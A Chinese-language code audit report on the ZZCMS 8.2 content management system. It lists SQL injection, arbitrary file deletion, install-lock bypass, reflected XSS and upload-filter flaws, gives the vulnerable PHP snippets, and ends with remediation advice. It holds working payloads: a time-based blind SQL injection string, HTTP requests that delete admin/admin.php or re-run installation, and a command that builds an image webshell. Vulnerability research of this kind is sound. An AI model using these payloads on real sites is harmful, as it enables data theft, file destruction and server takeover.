代码审计 | zzcms8.2
字数 1438 2025-08-18 11:39:26
ZZCMS 8.2 代码审计报告
1. 审计概述
本次审计针对 ZZCMS 8.2 系统,使用 Seay 源代码审计系统辅助进行。审计发现了多个安全漏洞,包括 SQL 注入、任意文件删除、网站重装漏洞、XSS 和文件上传漏洞等。
2. 审计工具与方法
2.1 审计工具
- Seay 源代码审计系统
- 全局定位搜索功能
- 自动审计功能
2.2 审计方法
- 导入项目源码
- 执行自动审计
- 根据扫描结果进行人工验证
- 重点关注用户输入与数据库交互部分
3. 漏洞分析
3.1 SQL 注入漏洞
3.1.1 漏洞位置
/user/del.php/user/check.php/user/logincheck.php/admin/logincheck.php
3.1.2 漏洞详情
漏洞点1:IP伪造注入
query("UPDATE zzcms_user SET loginip = '".getip()."' WHERE username='".$username."'");
getip()函数从多个HTTP头获取IP地址,未经过滤:
function getip() {
if (getenv("HTTP_CLIENT_IP") && strcasecmp(getenv("HTTP_CLIENT_IP"), "unknown"))
$ip = getenv("HTTP_CLIENT_IP");
else if (getenv("HTTP_X_FORWARDED_FOR") && strcasecmp(getenv("HTTP_X_FORWARDED_FOR"), "unknown"))
$ip = getenv("HTTP_X_FORWARDED_FOR");
elseif (getenv("REMOTE_ADDR") && strcasecmp(getenv("REMOTE_ADDR"), "unknown"))
$ip = getenv("REMOTE_ADDR");
else if (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], "unknown"))
$ip = $_SERVER['REMOTE_ADDR'];
else
$ip = "unknown";
return ($ip);
}
漏洞点2:$tablename直接拼接
if (strpos($id, ",")>0)
$sql="select id,editor from ".$tablename." where id in (".$id.")";
else
$sql="select id,editor from ".$tablename." where id='$id'";
3.1.3 利用方式
改进的Payload:
id=1&tablename=zzcms_answer where id=999999999 union select 1,2 and if((ascii(substr(user(),1,1)) = 114),sleep(3),1)#
3.2 任意文件删除漏洞
3.2.1 漏洞位置
/user/adv.php/user/licence_save.php/user/manage.php/user/ppsave.php/user/zssave.php
3.2.2 漏洞详情
/user/adv.php 漏洞代码:
if ($oldimg<>$img){
$f= "../".$oldimg;
if (file_exists($f)){
unlink($f);
}
}
/user/licence_save.php 漏洞代码:
if ($oldimg<>$img && $oldimg<>"/image/nopic.gif"){
$f= "../".$oldimg;
if (file_exists($f)){
unlink($f);
}
}
3.2.3 利用方式
Payload示例:
POST /user/adv.php?action=modify HTTP/1.1
Host: 192.168.1.7
Content-Type: application/x-www-form-urlencoded
Content-Length: 149
adv=tettste&advlink=/zt/show.php?id=1&company=测试&img=test&oldimg=admin/admin.php&Submit3=发布
3.3 网站重装漏洞
3.3.1 漏洞位置
/install/index.php/install/step_2.php至/install/step_6.php
3.3.2 漏洞详情
只有/install/step_1.php检查了install.lock文件:
if(file_exists("install.lock")){
echo "<div style='padding:30px;'>安装向导已运行安装过,如需重安装,请删除/install/install.lock文件</div>";
}
其他步骤文件缺少此检查,导致可绕过安装锁定。
3.3.3 利用方式
直接访问后续步骤:
POST /install/index.php HTTP/1.1
Host: 192.168.1.7
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
step=2
3.4 反射型 XSS 漏洞
3.4.1 漏洞位置
/inc/top.php/uploadimg_form.php
3.4.2 漏洞详情
/inc/top.php未包含/inc/conn.php,未对输入进行过滤:
if (@$_POST["action"]=="search"){
echo "<script>location.href='".@$_POST["lb"]."/search.php?keyword=".@$_POST["keyword"]."'</script>";
}
3.5 文件上传漏洞
3.5.1 漏洞位置
/uploadimg.php
3.5.2 漏洞详情
文件类型检查可绕过,黑名单不完整:
$hzm=strtolower(substr($this->fileName["name"],strpos($this->fileName["name"],".")));
if (strpos($hzm,"php")!==false || strpos($hzm,"asp")!==false || strpos($hzm,"jsp")!==false){
echo "<script>alert('".$hzm.",这种文件不允许上传');parent.window.close();</script>";
exit;
}
缺少对.phtml的过滤,Apache会将其作为PHP解析。
3.5.3 利用方式
- 使用
.phtml后缀 - 使用图片木马:
copy test.jpg/b+test.php shell.jpg
4. 安全建议
-
输入过滤:
- 对所有用户输入进行严格过滤
- 使用白名单机制替代黑名单
-
SQL注入防护:
- 使用预处理语句
- 对特殊字符进行转义
-
文件操作安全:
- 限制文件删除操作的目录范围
- 验证文件路径合法性
-
安装安全:
- 在所有安装步骤检查
install.lock - 安装完成后删除安装目录
- 在所有安装步骤检查
-
XSS防护:
- 对所有输出进行HTML实体编码
- 设置Content Security Policy
-
文件上传安全:
- 使用文件内容检测而非扩展名
- 限制上传文件类型
- 存储上传文件到非Web目录
5. 审计总结
ZZCMS 8.2 存在多处安全漏洞,主要问题集中在:
- 用户输入未充分过滤
- 黑名单机制不完善
- 关键操作缺乏权限验证
- 安装流程设计缺陷
建议开发者参考OWASP安全开发指南,建立完整的安全开发流程,定期进行代码审计和安全测试。